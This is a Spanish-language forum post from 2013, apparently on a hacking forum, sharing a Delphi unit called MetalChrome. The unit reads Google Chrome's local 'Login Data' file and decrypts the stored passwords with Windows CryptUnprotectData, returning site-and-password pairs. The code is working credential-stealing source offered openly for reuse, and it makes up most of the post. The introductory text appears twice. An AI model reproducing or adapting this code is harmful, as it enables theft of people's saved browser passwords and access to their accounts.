[UNIT] MetalChrome by Metal
Publicado: 05 Nov 2013, 05:12
Hola, siguiendo los pasos de Pink hice esta Unit para recuperar las contraseñas de Chrome sin usar SQLite.
Es un método que no me gusta porque para que funcione correctamente deben estar los campos del Login Data rellenados tal y como lo solicita la propia función.
http://hackhound.org/forums/index.phpips_usernameUSUARIOips_password=PASSWORD
http://[Enlace externo eliminado para invitados]vb_login_password=PASSWORD
Pros: No necesita SQLite.
Contras: Puede fallar.
Es mi primerita Unit con Delphi XE5
Es un método que no me gusta porque para que funcione correctamente deben estar los campos del Login Data rellenados tal y como lo solicita la propia función.
http://hackhound.org/forums/index.phpips_usernameUSUARIOips_password=PASSWORD
http://[Enlace externo eliminado para invitados]vb_login_password=PASSWORD
Pros: No necesita SQLite.
Contras: Puede fallar.
Es mi primerita Unit con Delphi XE5
unit MetalChrome;
interface
uses
Winapi.Windows, Winapi.shlobj;
function mGetChromePass: AnsiString;
implementation
type
TDATA_BLOB = record
cbData: DWORD;
pbData: PByte;
end;
PDATA_BLOB = ^TDATA_BLOB;
TCRYPTPROTECT_PROMPTSTRUCT = record
cbSize: DWORD;
dwPromptFlags: DWORD;
hwndApp: HWND;
szPrompt: PansiChar;
end;
PCRYPTPROTECT_PROMPTSTRUCT = ^TCRYPTPROTECT_PROMPTSTRUCT;
function CryptUnprotectData(pDataIn: PDATA_BLOB; szDataDescr: PWChar;
pOptionalEntropy: PDATA_BLOB; pvReserved: Pointer;
pPromptStruct: PCRYPTPROTECT_PROMPTSTRUCT; dwFlags: DWORD;
pDataOut: PDATA_BLOB): BOOL; stdcall; external 'Crypt32.dll';
Function mFileToStr(Ruta: AnsiString): AnsiString;
var
sFile: HFile;
uBytes: Cardinal;
begin
sFile := _lopen(PansiChar(Ruta), OF_READ);
uBytes := GetFileSize(sFile, nil);
SetLength(Result, uBytes);
_lread(sFile, @Result[1], uBytes);
_lclose(sFile);
end;
function mGetChromePass: AnsiString;
var
Src, Dst: TDATA_BLOB;
DB, Pass, Web: AnsiString;
LAppData: array [0 .. Max_Path] of Char;
const
CRYPTPROTECT_LOCAL_MACHINE = 4;
begin
ShGetSpecialFolderPath(0, LAppData, CSIDL_LOCAL_APPDATA, False);
DB := mFileToStr(LAppData + '\Google\Chrome\User Data\Default\Login Data');
DB := Copy(DB, pos('http', DB), Length(DB) - pos('http', DB) + 1);
DB := Copy(DB, 1, pos(#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0, DB) - 1);
repeat
Delete(DB, 1, 1);
Delete(DB, 1, pos('http', DB) - 1);
Web := Copy(DB, 1, pos(Char($01), DB) - 1);
Delete(DB, 1, pos(Char($01), DB) - 1);
Pass := Copy(DB, 1, pos('http', DB) - 1);
Delete(DB, 1, pos('http', DB) - 1);
Src.cbData := Length(Pass);
Src.pbData := PByte(Pass);
if CryptUnprotectData(@Src, nil, nil, nil, nil, CRYPTPROTECT_LOCAL_MACHINE,
@Dst) then
SetString(Pass, PansiChar(Dst.pbData), Dst.cbData);
if Web[1] = 'h' then
Result := Result + #13#10 + Web + '=' + Pass;
Delete(DB, 1, 1);
Delete(DB, 1, pos('http', DB) - 1);
until pos('http', DB) = 0;
end;
end.
Saludos.